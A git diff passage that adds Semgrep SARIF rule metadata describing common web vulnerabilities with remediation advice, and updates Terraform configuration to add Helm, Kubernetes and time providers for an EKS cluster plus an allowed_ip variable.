injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda","id":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda","name":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false","id":"python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false","name":"python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header","id":"java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header","name":"java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.code.tainted-code-stdlib.tainted-code-stdlib)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.lang.code.tainted-code-stdlib.tainted-code-stdlib","id":"python.lang.code.tainted-code-stdlib.tainted-code-stdlib","name":"python.lang.code.tainted-code-stdlib.tainted-code-stdlib","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.code.tainted-code-stdlib.tainted-code-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password","id":"ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password","name":"ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid","id":"python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid","name":"python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid"}}],"semanticVersion":"1.96.0"}}}],"$schema":"https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/schemas/sarif-schema-2.1.0.json"}
\ No newline at end of file
diff --git a/terraform/terraform.tf b/terraform/terraform.tf
index 4fe5c4c..3dc2a1a 100644
--- a/terraform/terraform.tf
+++ b/terraform/terraform.tf
@@ -2,7 +2,15 @@ terraform {
   required_providers {
     aws = {
       source  = "hashicorp/aws"
-      version = "~> 5.0"
+      version = ">= 5.34.0"
+    }
+    helm = {
+      source  = "hashicorp/helm"
+      version = ">= 2.12.1"
+    }
+    kubernetes = {
+      source  = "hashicorp/kubernetes"
+      version = ">= 2.24.0"
     }
 
     random = {
@@ -19,7 +27,34 @@ terraform {
       source  = "hashicorp/cloudinit"
       version = "~> 2.3.2"
     }
+
+    time = {
+      source  = "hashicorp/time"
+      version = "~> 0.13.0"
+    }
   }
 
-  required_version = "~> 1.3"
+  required_version = ">= 1.2.0"
+}
+
+provider "kubernetes" {
+  host                   = module.eks.cluster_endpoint
+  cluster_ca_certificate = base64decode(module.eks.cluster_certificate_authority_data)
+  exec {
+    api_version = "client.authentication.k8s.io/v1beta1"
+    command     = "aws"
+    args        = ["eks", "get-token", "--cluster-name", module.eks.cluster_name]
+  }
+}
+
+provider "helm" {
+  kubernetes {
+    host                   = module.eks.cluster_endpoint
+    cluster_ca_certificate = base64decode(module.eks.cluster_certificate_authority_data)
+    exec {
+      api_version = "client.authentication.k8s.io/v1beta1"
+      command     = "aws"
+      args        = ["eks", "get-token", "--cluster-name", module.eks.cluster_name]
+    }
+  }
 }
\ No newline at end of file
diff --git a/terraform/terraform.tfvars.example b/terraform/terraform.tfvars.example
new file mode 100644
index 0000000..a12ebed
--- /dev/null
+++ b/terraform/terraform.tfvars.example
@@ -0,0 +1 @@
+allowed_ip = "123.45.67.890/32" 
\ No newline at end of file
diff --git a/terraform/variables.tf b/terraform/variables.tf
index dcaf274..a9dae59 100644
--- a/terraform/variables.tf
+++ b/terraform/variables.tf
@@ -2,4 +2,9 @@ variable "region" {
   description = "AWS region"
   type        = string
   default     = "us-east-1"
+}
+
+variable "allowed_ip" {
+  description = "IP address allowed to access the ingress controller"
+  type        = string
 }
\ No newline at end of file